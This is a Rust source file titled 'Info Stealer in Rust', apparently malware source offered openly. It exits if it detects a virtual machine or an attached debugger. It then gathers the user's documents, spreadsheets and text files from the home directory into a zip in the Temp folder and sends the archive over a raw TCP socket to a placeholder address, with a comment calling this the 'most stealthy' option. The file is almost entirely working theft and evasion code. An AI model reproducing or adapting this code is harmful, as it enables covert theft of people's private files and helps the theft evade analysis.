/*
    Info Stealer in Rust 
*/

mod evade_vm;
// will be creating more indepth.
// mod system_info;
use std::{
    fs::{
        self, 
        File
    }, 
    io::{
        self, 
        Read, 
        Write
    }, 
    net::TcpStream, 
    path::Path
};

use walkdir::WalkDir;
use winapi::um::{
    debugapi::{CheckRemoteDebuggerPresent, IsDebuggerPresent}, 
    processthreadsapi::GetCurrentProcess,
};

use zip::{
    write::{
        ExtendedFileOptions, 
        FileOptions
    }, 
    ZipWriter
};


// Here we are not using the standard codes ..!

fn main(){
    // detach the process
    unsafe{
        let check = evade_vm::evade_vm();
        // match check {
        //     0 => {
        //         println!("Malware Running on VM. Exiting ...");
        //         std::process::exit(0x100);
        //     },
        //     _ => 
        //         println!("Done"),
        // }
        if check == 0 {
            std::process::exit(0x100);
        }
        // run the debug to check if the program has been debugged !
        debug();

    }   

    if let Err(err) = fetch_datas(){
        println!("{:?}", &err);
    }
}

unsafe fn debug(){
    let mut debugger: i32 = 1;

    CheckRemoteDebuggerPresent(
        GetCurrentProcess(), 
        &mut debugger
    );
    
    let debugger1 = IsDebuggerPresent();
  
    if debugger == 1{
        println!("Debugger is detected. Exiting...");
        std::process::exit(0x100);
    }else if debugger1 == 1{
        println!("Debugger is detected. Exiting...");
        std::process::exit(0x100);

    }
}

fn fetch_datas() -> io::Result<()> {
    let user = whoami::realname();
    let dir_path = format!("C:/Users/{}/AppData/Local/Temp", user);
    let zip_filename = format!("{}/tempfile.zip", dir_path);
    let zip_path = Path::new(&zip_filename);

    fs::create_dir_all(&dir_path)?;

    let zip_file = File::create(&zip_path)?;
    let mut zip_writer = ZipWriter::new(zip_file);
    let options: FileOptions<'_, ExtendedFileOptions> = FileOptions::default()
        .compression_method(zip::CompressionMethod::Stored);

    let extensions = ["pdf", "xls", "txt", "doc", "docx", "ppt", "pptx", "odt", "xlsx", "xlsm", "csv"];
    // Implement you own searching method here !
    let search_dir = format!("C:/Users/{}/", user);
    // let search_dir = format!("E:\\nerdy\\testing"); // Tesing location ! 

    for entry in WalkDir::new(&search_dir).into_iter().filter_map(Result::ok) {
        let path = entry.path();

        if path.is_file() {
            if let Some(ext) = path.extension() {
                if extensions.contains(&ext.to_str().unwrap_or_default()) {
                    // add it to the zip file ! 
                    let mut file = File::open(path)?;
                    let mut buffer = Vec::new();
                    file.read_to_end(&mut buffer)?;

                    zip_writer.start_file_from_path(path, options.clone())?;
                    zip_writer.write_all(&buffer)?;
                }
            }
        }
    }

    zip_writer.finish()?;
    send_data(zip_path)?;
    Ok(())
}

// Most stealthy one 
fn send_data(path: &Path) -> io::Result<()> {
    let mut file = File::open(path)?;
    let mut buffer = Vec::new();
    file.read_to_end(&mut buffer)?;

    let mut stream = TcpStream::connect("127.0.0.1:5555")?;
    stream.write_all(&buffer)?;
    Ok(())
}

// For Debug purpose 

// fn send_data(path: &Path) -> io::Result<()> {
//     let mut file = File::open(path)?;
//     let file_size = file.metadata()?.len();
//     let mut buffer = [0u8; 1024];
//     let mut total_bytes_sent = 0u64;

//     let mut stream = TcpStream::connect("127.0.0.1:1234")?;
//     println!("Starting file transfer: {} bytes", file_size);

//     loop {
//         match file.read(&mut buffer) {
//             Ok(0) => break,
//             Ok(bytes_read) => {
//                 stream.write_all(&buffer[..bytes_read])?;
//                 total_bytes_sent += bytes_read as u64;
//                 println!(
//                     "Sent {} of {} bytes ({:.2}%)",
//                     total_bytes_sent,
//                     file_size,
//                     (total_bytes_sent as f64 / file_size as f64) * 100.0
//                 );
//             }
//             Err(e) => {
//                 eprintln!("Error reading file: {}", e);
//                 break;
//             }
//         }
//     }

//     println!("File transfer complete, total bytes sent: {}", total_bytes_sent);
//     Ok(())
// }

